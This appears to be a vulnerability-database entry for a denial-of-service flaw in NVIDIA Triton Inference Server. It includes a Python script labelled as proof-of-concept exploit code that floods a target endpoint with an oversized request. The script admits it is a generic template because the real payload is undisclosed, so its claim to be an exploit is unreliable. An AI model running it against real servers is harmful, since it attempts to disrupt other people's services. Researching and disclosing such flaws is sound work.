NVIDIA Triton Inference Server contains a vulnerability where an attacker may cause internal state corruption. A successful exploit of this vulnerability may lead to a denial of service.
NVIDIA Triton Inference Server (具体受影响版本请查阅 NVIDIA 安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# PoC for CVE-2025-33254 (Conceptual)
# This script attempts to trigger the internal state corruption vulnerability
# in NVIDIA Triton Inference Server by sending a malformed request.
# Replace with the actual target address
target_url = "http://target-triton-server:8000/v2/models/invalid"
try:
# Sending a request that may trigger state corruption
# Note: Specific payload structure depends on undisclosed vulnerability details.
# This is a generic template for sending a potentially malformed request.
payload = {
"id": "test_poc",
"inputs": [
{
"name": "input",
"shape": [1, 224, 224, 3],
"datatype": "FP32",
"data": [0] * 100000 # Sending large or malformed data structure
}
]
}
print(f"Sending request to {target_url}...")
response = requests.post(target_url, json=payload, timeout=5)
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
except requests.exceptions.RequestException as e:
print(f"Connection error or potential DoS triggered: {e}")
except Exception as e:
print(f"An error occurred: {e}")